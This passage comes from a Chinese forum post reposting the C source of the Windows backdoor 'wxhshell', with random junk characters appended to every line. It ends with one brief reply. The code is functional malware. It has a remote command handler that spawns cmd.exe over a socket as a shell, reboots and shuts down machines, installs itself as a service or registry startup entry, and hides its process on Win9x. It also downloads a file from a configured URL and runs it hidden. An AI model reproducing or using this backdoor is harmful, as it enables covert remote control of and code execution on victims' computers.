  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;C5 J ^xHI  
  else ](k}B*Ab h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P7 qzZ  
  } %bB:I1V\  
  else { ~T\:".C  
:w9s bW  
    switch(cmd[0]) { 4='/]z  
  <xD6}h/  
  // 帮助 j2%M-y4E  
  case '?': { (7|!%IO.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V}/AQe2m&  
    break; R@[1a+}5  
  } UmP\;  
  // 安装 -pN'r/$3V  
  case 'i': { K^[Dz\ov5  
    if(Install()) MJcWX|(y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,UO$#Xm  
    else "IzM:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~G um  
    break; p~<d8n4UH  
    } O<+x=>_  
  // 卸载 Y-P?t+l  
  case 'r': { 9{R88f?;  
    if(Uninstall()) (+.R8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MgQb" qx  
    else ByW,YKMy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =BgQ Ss/^c  
    break;  tZN'OoZ  
    } Wo/LrCg  
  // 显示 wxhshell 所在路径 5NhwIu^<  
  case 'p': { '+\.&'A  
    char svExeFile[MAX_PATH]; Y'x+! &H  
    strcpy(svExeFile,"\n\r"); ft Rza  
      strcat(svExeFile,ExeFile); 9:CM#N~?o  
        send(wsh,svExeFile,strlen(svExeFile),0); q=/ck  
    break; l\t<_p/I)^  
    } dQPW9~g8Hg  
  // 重启 HA GpM\Qa  
  case 'b': { @l&>C#K\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w*IDL0#  
    if(Boot(REBOOT)) X[$FjKZh=F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[}Ak1 A  
    else { 6cTd SE  
    closesocket(wsh); 9Z.W R-}  
    ExitThread(0); {GQRJ8m  
    } %g=SkQ&d  
    break; t|cTl/i 4  
    } u\}"l2 r  
  // 关机 Xs$UpQo  
  case 'd': { ~d&W;mef-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]t.6bb4  
    if(Boot(SHUTDOWN)) 8i?:aN[.1b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aw7_diK^  
    else { u*<knZ~ty  
    closesocket(wsh); J+f*D+x1  
    ExitThread(0); 7\Wq:<JL  
    } )\l(h%s[I  
    break; -i"?2gK  
    } ,&rHBNS  
  // 获取shell rL<a^/b/=  
  case 's': { bjB4  
    CmdShell(wsh); :eW`El  
    closesocket(wsh); .#}`r`/  
    ExitThread(0); 7G &I]>  
    break; @LR:^>&*  
  } ^ub@ Jwe  
  // 退出 N&-J,p~  
  case 'x': { sB%QqFRP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vuNq7V*}  
    CloseIt(wsh); NekPl/4  
    break; |E9iG  
    } {_>}K  
  // 离开 .WT ar9e#  
  case 'q': { 4{Af 3N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qI5`:PH%n  
    closesocket(wsh); ibQN pIz  
    WSACleanup(); M}xyW"yp  
    exit(1); (2p<I)t  
    break; 3YJa3fflK  
        } q# t&\M.U  
  } S3.76&  
  } xPorlX)zW  
f|'8~C5I@>  
  // 提示信息 @0U={qX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -)$5[jM]  
} )~H&YINhn  
  } #Bi8>S  
B0"55g*c  
  return;  nypG  
} 0XUWK@)P  
y6N }R  
// shell模块句柄 &u~#bDh  
int CmdShell(SOCKET sock) clO9l=g  
{ h!q_''*;  
STARTUPINFO si; oS Apa  
ZeroMemory(&si,sizeof(si)); <t"|wYAa_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IO}53zn<l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ><3!J+<?  
PROCESS_INFORMATION ProcessInfo; eeu;A, @U  
char cmdline[]="cmd"; K%RjWX=H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rM{V>s:N  
  return 0; *_CzCl^   
} xJ|_R,>.H  
0`%Ask  
// 自身启动模式 We?cRb  
int StartFromService(void) .Arcsg   
{ xdkC>o4>  
typedef struct u#~q86k  
{ k{-#2Qz  
  DWORD ExitStatus; P QA}_o  
  DWORD PebBaseAddress; 6PdLJ#LS  
  DWORD AffinityMask; xfADks2w  
  DWORD BasePriority; 9@yi UX  
  ULONG UniqueProcessId; JJVdq-k+`  
  ULONG InheritedFromUniqueProcessId; [ T!0ka  
}   PROCESS_BASIC_INFORMATION; (hFyp}jkk  
5tQZf'pHfd  
PROCNTQSIP NtQueryInformationProcess; 5><KTya?=  
IT=<p60"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mVNHH!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~"}o^#@DwJ  
Z,}c)  
  HANDLE             hProcess; =&"x6F.`  
  PROCESS_BASIC_INFORMATION pbi; kYnp$8  
;X)b=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bb zmq  
  if(NULL == hInst ) return 0; ]x:>!y  
3T84f[CFJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); br4?_,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1XPYI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~1.B fOR8  
\_8.\o"@*#  
  if (!NtQueryInformationProcess) return 0; VL2+"<  
^&Wa? m.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O#72h]  
  if(!hProcess) return 0; iTIYq0u|#R  
E2u9>m4_J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1yV+~)by3  
pUD(5v*0R  
  CloseHandle(hProcess); jSd[  
E) z=85;_p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TAp8x  
if(hProcess==NULL) return 0; gOLN7K-)  
jU0E=;1  
HMODULE hMod; Q7@oAeNd  
char procName[255]; fF]w[lLDv  
unsigned long cbNeeded; 4I!g?Moh  
Z )'gj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ne9- c>>  
Z,1b$:+  
  CloseHandle(hProcess); ~>B`T%=H  
r}i}4K[1  
if(strstr(procName,"services")) return 1; // 以服务启动 =:;K nS  
0I['UL^!F  
  return 0; // 注册表启动 eI3ZV^_Ps  
} P87Lo4R d  
Q.} guI\  
// 主模块 }BI|M_q.1~  
int StartWxhshell(LPSTR lpCmdLine) kcG_ n  
{ H7dT6`<~Y  
  SOCKET wsl; 7^W(es  
BOOL val=TRUE; UAe8Ct=YJ  
  int port=0; IaT\ymm`  
  struct sockaddr_in door; e6gLYhf&  
OWT|F0.1$k  
  if(wscfg.ws_autoins) Install(); O b'Br  
w9TE E,t;5  
port=atoi(lpCmdLine); Znd ,FqHk  
rt'pc\|O&  
if(port<=0) port=wscfg.ws_port; %WlTx&jSgE  
+=K =B  
  WSADATA data; Wn-'iD+9<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kwUy^"O  
w0^}c8%WR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L L? .E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wDDNB1_ E  
  door.sin_family = AF_INET; NOFuX9/'w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #7['M;_  
  door.sin_port = htons(port); `!Yd$=*c_&  
#\Zr$?t|V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TyY%<NCIb  
closesocket(wsl); BlfadM;  
return 1; XNJ3.w:R  
} Z ygu/M 6  
6uIgyO*;k  
  if(listen(wsl,2) == INVALID_SOCKET) { +t%1FkI\  
closesocket(wsl); EhAaaG  
return 1; 3?e~J"WXC5  
} i2+_~$f  
  Wxhshell(wsl); >R}G  
  WSACleanup(); dngG=  
#Q'#/\5  
return 0; `j8pgnY>5~  
Cy dV$!&mP  
} + w/B3 b  
i>O8q%BnJ  
// 以NT服务方式启动 Xo$SQ0K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )H(i)$I  
{ 0< 93i   
DWORD   status = 0; //'&a-%$^  
  DWORD   specificError = 0xfffffff; AuT:snCzR  
2Z>8ROv^X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Eq|5PE^7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }N&? 8s=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (hEg&@  
  serviceStatus.dwWin32ExitCode     = 0; lffw "  
  serviceStatus.dwServiceSpecificExitCode = 0; X;n09 L`CB  
  serviceStatus.dwCheckPoint       = 0; 1,P\dGmu  
  serviceStatus.dwWaitHint       = 0;  S~bhh&  
hn~btu 9h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N\|BaZ%>|  
  if (hServiceStatusHandle==0) return; V!l?FOSZ  
4n"6<cO5q  
status = GetLastError(); /DjsnU~3  
  if (status!=NO_ERROR)  aWPf3Q  
{ (D:-p:q.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6j!idA!'  
    serviceStatus.dwCheckPoint       = 0; udXzsY9Ng  
    serviceStatus.dwWaitHint       = 0; w{ ;Sp?Os  
    serviceStatus.dwWin32ExitCode     = status; rp+]f\] h  
    serviceStatus.dwServiceSpecificExitCode = specificError; ..zX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Fqwr>e  
    return; _PcF/Gyk  
  } HX)]@qL  
ut#pg+#Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5mS/,fs@  
  serviceStatus.dwCheckPoint       = 0; k*v${1&  
  serviceStatus.dwWaitHint       = 0; #0PZa$kM(o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n =WH=:&  
} 2Z5_@Y  
mfG m>U  
// 处理NT服务事件,比如:启动、停止 IEfYg(c0U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {1qr6P,"  
{ YmpaLZJ  
switch(fdwControl) JfY(};&  
{ !C h1q  
case SERVICE_CONTROL_STOP: ,Js-'vX  
  serviceStatus.dwWin32ExitCode = 0; % m"Qg<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F]t=5 -O<  
  serviceStatus.dwCheckPoint   = 0; +u&[ j/  
  serviceStatus.dwWaitHint     = 0; F-$!e?,H  
  { s/.P/g%tA>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wqi0%Cu*  
  } Z~<=I }@  
  return; &>B"/z  
case SERVICE_CONTROL_PAUSE: 8Ihl}aguW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J.'%=q(Sb  
  break; ANNVE},  
case SERVICE_CONTROL_CONTINUE: 9ln=f=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q#@r*hl  
  break; ^`B;SSV  
case SERVICE_CONTROL_INTERROGATE: =H3tkMoi2  
  break; #4JLWg  
}; z1]nC]2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;rF[y7\  
} r<4j;"lQK  
Oet+$ b  
// 标准应用程序主函数 .rITzwgB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1= 7ASS9  
{ UhrRB  
eWN g?*/  
// 获取操作系统版本 CmV &+C$V%  
OsIsNt=GetOsVer(); R7U%v"F>`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jJ-C\ v  
(^(l=EN-<  
  // 从命令行安装 ];lZ:gT  
  if(strpbrk(lpCmdLine,"iI")) Install(); e#,(a  
C<3<,~gI  
  // 下载执行文件 #UhH  
if(wscfg.ws_downexe) { EZN!3y| m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g8l6bh$}  
  WinExec(wscfg.ws_filenam,SW_HIDE); H%XF~tF:  
} KGcjZx04!  
Sb> &m  
if(!OsIsNt) { pB#I_?(  
// 如果时win9x,隐藏进程并且设置为注册表启动 +wJ!zab`  
HideProc(); awwSgy  
StartWxhshell(lpCmdLine); 0Sz[u\w  
} s5rD+g]E`  
else @"MQ6u G>  
  if(StartFromService()) /s~S\dG  
  // 以服务方式启动 EEnl'  
  StartServiceCtrlDispatcher(DispatchTable); "TJ*mN.i{}  
else mLpM8~L  
  // 普通方式启动 ~D>pu%F  
  StartWxhshell(lpCmdLine); 0#Lmajs  
aZCq{7Xs  
return 0; W7 dSx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五